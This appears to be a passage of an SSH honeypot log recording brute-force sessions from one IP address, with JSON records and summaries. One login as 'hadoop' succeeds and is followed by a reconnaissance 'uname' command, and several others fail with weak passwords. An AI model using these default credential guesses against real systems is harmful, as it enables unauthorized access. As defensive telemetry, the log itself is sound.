  "start_time": "2026-07-08T13:39:14.747224Z",
  "end_time": "2026-07-08T13:39:16.113988Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "hadoop123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:39:10.683703 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sam

Record ID: 66219f9e304a

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "66219f9e304a",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:10.683703Z",
  "end_time": "2026-07-08T13:39:12.446874Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "sam",
      "pass": "1234567890"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:39:06.617946 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: openclaw

Record ID: a83537e13463

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a83537e13463",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:06.617946Z",
  "end_time": "2026-07-08T13:39:08.539242Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "openclaw",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:39:02.457445 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude

Record ID: c09b9f3d2189

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c09b9f3d2189",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:39:02.457445Z",
  "end_time": "2026-07-08T13:39:04.482884Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "claude",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}